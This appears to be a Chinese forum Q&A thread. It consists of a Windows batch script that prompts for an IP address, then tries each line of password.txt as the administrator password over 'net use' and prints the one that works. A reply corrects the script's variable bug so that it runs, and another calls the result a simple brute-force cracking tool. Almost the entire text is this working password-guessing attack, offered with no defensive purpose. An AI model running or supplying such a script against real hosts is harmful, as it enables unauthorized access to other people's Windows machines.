@echo off
set /p ip="请输入IP地址:"
for /f %%i in (password.txt) do (
  net use \\ip /user:ip\administrator %%i && echo the password is %%i && goto eof
)

------解决方案--------------------
代码错误修改:
BatchFile code
@echo off
set /p ip="请输入IP地址:"
for /f %%i in (password.txt) do (
  net use \\%ip% /user:%ip%\administrator %%i && echo the password is %%i && goto eof
)

------解决方案--------------------
把IP地址和密码放到一个文本文件里面
一个简单的暴力破解工具诞生了